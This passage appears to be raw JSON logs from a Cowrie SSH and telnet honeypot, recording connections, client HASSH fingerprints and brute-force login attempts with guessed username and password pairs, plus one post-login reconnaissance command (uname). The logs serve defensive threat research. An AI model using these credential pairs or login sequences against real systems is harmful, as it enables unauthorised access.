up14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:23:19.835268Z","src_ip":"43.134.112.237","session":"e5bf7798433f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QAZXSW2","message":"login attempt [root/1QAZXSW2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:23:20.812404Z","src_ip":"43.134.112.237","session":"e5bf7798433f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:23:22.051257Z","src_ip":"43.134.112.237","session":"e5bf7798433f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":55934,"dst_ip":"159.203.135.109","dst_port":22,"session":"63ee2d49007c","protocol":"ssh","message":"New connection: 193.32.162.151:55934 (159.203.135.109:22) [session: 63ee2d49007c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:24:14.872414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:24:14.884307Z","src_ip":"193.32.162.151","session":"63ee2d49007c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:24:15.036342Z","src_ip":"193.32.162.151","session":"63ee2d49007c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin1234","message":"login attempt [admin/Admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:24:15.351488Z","src_ip":"193.32.162.151","session":"63ee2d49007c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:24:15.604472Z","src_ip":"193.32.162.151","session":"63ee2d49007c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:24:15.608060Z","src_ip":"193.32.162.151","session":"63ee2d49007c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:24:15.713696Z","src_ip":"193.32.162.151","session":"63ee2d49007c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:24:15.719108Z","src_ip":"193.32.162.151","session":"63ee2d49007c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.96.74.162","src_port":39800,"dst_ip":"10.17.0.5","dst_port":22,"session":"6df191b50198","protocol":"ssh","message":"New connection: 103.96.74.162:39800 (10.17.0.5:22) [session: 6df191b50198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:24:17.558811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:24:17.563550Z","src_ip":"103.96.74.162","session":"6df191b50198","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:24:17.782757Z","src_ip":"103.96.74.162","session":"6df191b50198","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"solr123","message":"login attempt [root/solr123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:24:18.427812Z","src_ip":"103.96.74.162","session":"6df191b50198","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:24:19.646596Z","src_ip":"103.96.74.162","session":"6df191b50198","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":48724,"dst_ip":"159.203.135.109","dst_port":22,"session":"e409d7ab6de0","protocol":"ssh","message":"New connection: 103.27.238.114:48724 (159.203.135.109:22) [session: e409d7ab6de0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:24:35.903795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:24:35.908412Z","src_ip":"103.27.238.114","session":"e409d7ab6de0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:24:36.171965Z","src_ip":"103.27.238.114","session":"e409d7ab6de0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pussy","message":"login attempt [root/pussy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:24:36.967251Z","src_ip":"103.27.238.114","session":"e409d7ab6de0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:24:38.234921Z","src_ip":"103.27.238.114","session":"e409d7ab6de0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.42.110","src_port":35260,"dst_ip":"159.203.135.109","dst_port":22,"session":"d527a365a5d4","protocol":"ssh","message":"New connection: 217.154.42.110:35260 (159.203.135.109:22) [session: d527a365a5d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:25:12.845145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:25:12.854380Z","src_ip":"217.154.42.110","session":"d527a365a5d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:25:12.945768Z","src_ip":"217.154.42.110","session":"d527a365a5d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"atpco","message":"login attempt [root/atpco] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:25:13.300833Z","src_ip":"217.154.42.110","session":"d527a365a5d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:25:14.388711Z","src_ip":"217.154.42.110","session":"d527a365a5d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":57520,"dst_ip":"10.17.0.5","dst_port":22,"session":"d11f1462f309","protocol":"ssh","message":"New connection: 185.40.30.168:57520 (10.17.0.5:22) [session: d11f1462f309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:25:19.730037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:25:19.735528Z","src_ip":"185.40.30.168","session":"d11f1462f309","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:25:19.860485Z","src_ip":"185.40.30.168","session":"d11f1462f309","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nims","message":"login attempt [root/nims] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:25:20.392927Z","src_ip":"185.40.30.168","session":"d11f1462f309","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:25:21.520800Z","src_ip":"185.40.30.168","session":"d11f1462f309","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":51350,"dst_ip":"10.17.0.5","dst_port":22,"session":"272e1f2cdf22","protocol":"ssh","message":"New connection: 154.70.102.114:51350 (10.17.0.5:22) [session: 272e1f2cdf22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:25:34.812233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:25:34.817541Z","src_ip":"154.70.102.114","session":"272e1f2cdf22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:25:35.025967Z","src_ip":"154.70.102.114","session":"272e1f2cdf22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:25:35.888768Z","src_ip":"154.70.102.114","session":"272e1f2cdf22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:25:37.099364Z","src_ip":"154.70.102.114","session":"272e1f2cdf22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":33480,"dst_ip":"10.17.0.5","dst_port":22,"session":"33df9836f5b4","protocol":"ssh","message":"New connection: 154.70.102.114:33480 (10.17.0.5:22) [session: 33df9836f5b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:26:11.541030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:26:11.545853Z","src_ip":"154.70.102.114","session":"33df9836f5b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:26:11.751077Z","src_ip":"154.70.102.114","session":"33df9836f5b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"schmidt","message":"login attempt [root/schmidt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:26:12.600559Z","src_ip":"154.70.102.114","session":"33df9836f5b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:26:13.808337Z","src_ip":"154.70.102.114","session":"33df9836f5b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":48252,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac08e33b7516","protocol":"telnet","message":"New connection: 213.108.3.46:48252 (159.203.135.109:23) [session: ac08e33b7516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:26:19.263848Z"}
{"eventid":"cowrie.session.closed","duration":0.010302543640136719,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:26:19.274021Z","src_ip":"213.108.3.46","session":"ac08e33b7516","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":46912,"dst_ip":"159.203.135.109","dst_port":22,"session":"b846762ca77c","protocol":"ssh","message":"New connection: 193.32.162.151:46912 (159.203.135.109:22) [session: b846762ca77c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:26:29.488917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:26:29.493443Z","src_ip":"193.32.162.151","session":"b846762ca77c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly130